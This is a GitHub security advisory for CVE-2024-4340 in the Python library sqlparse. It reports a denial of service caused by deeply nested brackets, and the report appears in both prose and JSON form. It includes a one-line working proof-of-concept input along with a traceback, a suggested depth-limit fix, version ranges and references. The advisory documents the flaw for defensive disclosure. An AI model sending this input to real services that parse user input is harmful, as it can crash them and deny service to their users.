ghsa-2m57-hf25-phgg
Vulnerability from github
Summary
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Details + PoC
Running the following code will raise Maximum recursion limit exceeded exception:
py
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)
We expect a traceback of RecursionError:
py
Traceback (most recent call last):
File "trigger_sqlparse_nested_list.py", line 3, in <module>
sqlparse.parse('[' * 10000 + ']' * 10000)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
return tuple(parsestream(sql, encoding))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
stmt = grouping.group(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
func(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
tlist.group_tokens(cls, open_idx, close_idx)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
grp = grp_cls(subtokens)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
super().__init__(None, str(self))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
[Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded
Fix suggestion
The flatten() function of TokenList class should limit the recursion to a maximal depth: ```py from sqlparse.exceptions import SQLParseError
MAX_DEPTH = 100
def flatten(self, depth=1):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
if depth >= MAX_DEPTH:
raise SQLParseError('Maximal depth reached')
for token in self.tokens:
if token.is_group:
yield from token.flatten(depth + 1)
else:
yield token
```
Impact
Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.
{ "affected": [ { "ecosystem_specific": { "affected_functions": [ "sqlparse.parse" ] }, "package": { "ecosystem": "PyPI", "name": "sqlparse" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.5.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-4340" ], "database_specific": { "cwe_ids": [ "CWE-674" ], "github_reviewed": true, "github_reviewed_at": "2024-04-15T20:21:25Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Summary\nPassing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.\n\n### Details + PoC\nRunning the following code will raise Maximum recursion limit exceeded exception:\n```py\nimport sqlparse\nsqlparse.parse(\u0027[\u0027 * 10000 + \u0027]\u0027 * 10000)\n```\nWe expect a traceback of RecursionError:\n```py\nTraceback (most recent call last):\n File \"trigger_sqlparse_nested_list.py\", line 3, in \u003cmodule\u003e\n sqlparse.parse(\u0027[\u0027 * 10000 + \u0027]\u0027 * 10000)\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py\", line 30, in parse\n return tuple(parsestream(sql, encoding))\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py\", line 36, in run\n stmt = grouping.group(stmt)\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 428, in group\n func(stmt)\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 53, in group_brackets\n _group_matching(tlist, sql.SquareBrackets)\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py\", line 48, in _group_matching\n tlist.group_tokens(cls, open_idx, close_idx)\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 328, in group_tokens\n grp = grp_cls(subtokens)\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 161, in __init__\n super().__init__(None, str(self))\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in __str__\n return \u0027\u0027.join(token.value for token in self.flatten())\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 165, in \u003cgenexpr\u003e\n return \u0027\u0027.join(token.value for token in self.flatten())\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n yield from token.flatten()\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n yield from token.flatten()\n File \"/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py\", line 214, in flatten\n yield from token.flatten()\n [Previous line repeated 983 more times]\nRecursionError: maximum recursion depth exceeded\n```\n\n### Fix suggestion\nThe [flatten()](https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/sql.py#L207) function of TokenList class should limit the recursion to a maximal depth:\n```py\nfrom sqlparse.exceptions import SQLParseError\n\nMAX_DEPTH = 100\n\n def flatten(self, depth=1):\n \"\"\"Generator yielding ungrouped tokens.\n\n This method is recursively called for all child tokens.\n \"\"\"\n if depth \u003e= MAX_DEPTH:\n raise SQLParseError(\u0027Maximal depth reached\u0027)\n for token in self.tokens:\n if token.is_group:\n yield from token.flatten(depth + 1)\n else:\n yield token\n```\n\n### Impact\nDenial of Service (the impact depends on the use).\nAnyone parsing a user input with sqlparse.parse() is affected.\n", "id": "GHSA-2m57-hf25-phgg", "modified": "2024-05-01T11:09:12Z", "published": "2024-04-15T20:21:25Z", "references": [ { "type": "WEB", "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-2m57-hf25-phgg" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4340" }, { "type": "WEB", "url": "https://github.com/andialbrecht/sqlparse/commit/b4a39d9850969b4e1d6940d32094ee0b42a2cf03" }, { "type": "PACKAGE", "url": "https://github.com/andialbrecht/sqlparse" }, { "type": "WEB", "url": "https://research.jfrog.com/vulnerabilities/sqlparse-stack-exhaustion-dos-jfsa-2024-001031292" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "sqlparse parsing heavily nested list leads to Denial of Service" }
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